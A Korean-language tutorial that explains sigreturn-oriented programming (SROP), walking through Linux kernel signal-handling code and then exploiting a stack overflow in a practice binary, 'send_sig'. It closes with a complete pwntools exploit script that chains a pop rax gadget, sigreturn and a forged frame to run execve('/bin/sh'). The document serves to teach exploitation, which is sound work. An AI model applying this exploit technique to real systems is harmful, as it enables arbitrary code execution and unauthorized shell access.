SROP는 sigreturn 시스템콜을 이용하여 레지스터를 원하는 값으로 한 번에 세팅하는 공격 기법이다.
일반적인 ROP는 여러 gadget을 사용하여 레지스터 값을 설정한다.
하지만 gadget이 부족한 바이너리에서는 이러한 체인을 구성하기 어렵기 때문에 SROP를 사용한다.
Linux Signal은 프로세스에게 특정 이벤트가 발생했음을 알리는 비동기 인터럽트 메커니즘이다.
ex)
Signal이 발생하면 커널은 해당 프로세스에 Signal Handler를 실행한다.
Signal 처리 과정은 다음과 같다.
User Mode -> Signal -> Kernel Mode -> Signal Handler -> sigreturn syscall -> User Mode
Signal 처리가 끝나면 원래 실행하던 상태로 돌아간다. 이를 위해 커널은 레지스터 상태를 저장한다.
Signal이 발생하면 Linux 커널 내부에서 다음 함수가 호출된다.
void arch_do_signal_or_restart(struct pt_regs *regs, bool has_signal)
{
struct ksignal ksig;
if (has_signal && get_signal(&ksig)) {
/* Whee! Actually deliver the signal. */
handle_signal(&ksig, regs);
return;
}
/* Did we come from a system call? */
if (syscall_get_nr(current, regs) >= 0) {
switch (syscall_get_error(current, regs)) {
case -ERESTARTNOHAND:
case -ERESTARTSYS:
case -ERESTARTNOINTR:
regs->ax = regs->orig_ax;
regs->ip -= 2;
break;
case -ERESTART_RESTARTBLOCK:
regs->ax = get_nr_restart_syscall(regs);
regs->ip -= 2;
break;
}
}
restore_saved_sigmask();
}
이 함수는 Signal이 존재하는지 확인하고, 존재하면 handle_signal() 함수를 호출한다. (커널 버전에 따라 이름이 조금씩 다르다.)
Signal Handler를 실행하기 전에 프로세스의 레지스터 상태를 스택에 저장한다.
static void handle_signal(struct ksignal *ksig, struct pt_regs *regs)
{
...
failed = (setup_rt_frame(ksig, regs) < 0);
if (!failed) {
fpu__clear_user_states(fpu);
}
signal_setup_done(failed, ksig, stepping);
}
여기서 setup_rt_frame() 함수는 스택에 Signal Frame을 생성한다.
| signal frame |
| sigcontext |
| register info |
그리고 레지스터를 다음과 같이 설정한다.
regs -> ip = signal handler address
regs -> sp = frame adress
Signal Handler 실행이 끝나면 프로세스는 원래 실행하던 위치로 복귀해야 한다.
이때 사용되는 시스템콜이 sigreturn 이다.
x86_64 기준 syscall 번호는 15번이다.
sigreturn 시스템콜이 실행되면 커널은 다음 함수를 호출한다.
static bool restore_sigcontext(struct pt_regs *regs,
struct sigcontext __user *usc,
unsigned long uc_flags)
{
struct sigcontext sc;
if (copy_from_user(&sc, usc, CONTEXT_COPY_SIZE))
return false;
regs->bx = sc.bx;
regs->cx = sc.cx;
regs->dx = sc.dx;
regs->si = sc.si;
regs->di = sc.di;
regs->bp = sc.bp;
regs->ax = sc.ax;
regs->sp = sc.sp;
regs->ip = sc.ip;
#ifdef CONFIG_X86_64
regs->r8 = sc.r8;
regs->r9 = sc.r9;
regs->r10 = sc.r10;
regs->r11 = sc.r11;
regs->r12 = sc.r12;
regs->r13 = sc.r13;
regs->r14 = sc.r14;
regs->r15 = sc.r15;
#endif
regs->cs = sc.cs | 0x03;
regs->ss = sc.ss | 0x03;
return true;
}
이 코드를 보면 스택에 저장된 sigcontext 구조체를 읽어 레지스터를 복구하는 것을 알 수 있다.
SROP는 바로 이러한 동작을 이용하는 것이다.
sigreturn이 스택의 데이터를 레지스터로 복구한다면, 공격자가 스택 데이터를 조작하여 레지스터도 조작할 수 있기 때문에 가짜 sigcontext 구조체를 스택에 생성하여 sigreturn을 호출할 수 있다.
overflow -> sigcontext 생성 -> rax = 15 -> syscall -> sigreturn -> 레지스터 복구 -> 셸 획득
ssize_t sub_4010B6()
{
_BYTE buf[8]; // [rsp+8h] [rbp-8h] BYREF
write(1, "Signal:", 7u);
return read(0, buf, 0x400u);
}

buf의 크기는 8바이트지만 0x400만큼 입력을 받으므로 스택 오버플로우가 가능하다.


syscall 가젯과 pop rax 가젯 또한 존재하여 SROP를 시도할 수 있다.
payload = b'A' * 16
payload += p64(pop_rax)
payload += p64(0xf)
payload += p64(syscall)
우선 버퍼 8바이트와 SFP 8바이트 총 16바이트를 더미로 덮고 pop rax 가젯을 사용하여 ROP 체인을 구성한다. rax 레지스터에 0xf, 시스콜넘버 15를 넣어 sigreturn을 시스템콜한다.
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
이런식으로 sigreturn frame을 생성하여 sigcontext 구조체와 동일한 형태의 데이터를 만들 수 있다.
여기에서 rax에는 시스콜넘버 0x3b (execve)를 넣고, rdi에는 binsh, 그리고 rip에는 syscall을 넣는다.

레지스터 조작 전 레지스터 상태이다.

이후 계속 진행하여 다시 레지스터 상태를 보면 rax가 sigreturn 시스콜넘버로 조작된 것을 볼 수 있다.

현재 스택을 까보면 실제로 조작한 sigcontext 구조를 볼 수 있고 페이로드에서 설정한 레지스터 값들이 모두 들어가 있는 것을 볼 수 있다.
from pwn import *
context.arch = 'amd64'
p = process('./send_sig')
syscall = 0x00000000004010b0
pop_rax = 0x00000000004010ae
binsh = 0x402000
payload = b'A' * 16
payload += p64(pop_rax)
payload += p64(0xf)
payload += p64(syscall)
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
payload += bytes(frame)
p.recvuntil(b'Signal:')
p.sendline(payload)
p.interactive()

이렇게 셸을 획득했다.